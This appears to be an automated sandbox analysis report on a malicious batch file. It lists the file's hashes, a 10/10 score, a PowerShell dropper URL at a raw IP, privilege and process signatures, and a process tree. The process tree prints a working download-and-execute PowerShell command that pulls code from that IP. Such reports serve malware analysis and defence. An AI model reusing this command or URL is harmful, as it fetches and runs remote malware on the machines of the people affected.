ce2c6c231bac94908f739317192888044654566c577b76b2287b361e959fe896 | Triage

Analysis

max time kernel
106s
max time network
113s
platform
windows10_x64
resource
win10v200410
submitted
22-04-2020 18:10

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General

Target

8PKf424V.bat
Size

198B
MD5

24d6ca043665689608a14745e2f15c20
SHA1

32b3a89c643355b33e87cd7317562ee28452825b
SHA256

ce2c6c231bac94908f739317192888044654566c577b76b2287b361e959fe896
SHA512

301d586cb10a5b2bfc352dc66320ca9d57e6e5d15905ffbc46da6599b8462b4b789050ff43ef9f6367e9104527b6624acbf22e3aae4bfbc3689b685a2e4e12f6

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/8PKf424V

Signatures

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2556 WerFault.exe
Token: SeBackupPrivilege 2556 WerFault.exe
Token: SeDebugPrivilege 2556 WerFault.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

pid	process
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe
2556	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2556 3604 WerFault.exe powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\8PKf424V.bat"
1⤵
PID:4036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/8PKf424V');Invoke-MYAHQMJHOFLOMUA;Start-Sleep -s 10000"
2⤵
PID:3604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3604 -s 704
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:2556

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/2556-0-0x0000000005060000-0x0000000005061000-memory.dmp

Filesize
4KB

Download
memory/2556-1-0x0000000005690000-0x0000000005691000-memory.dmp

Filesize
4KB

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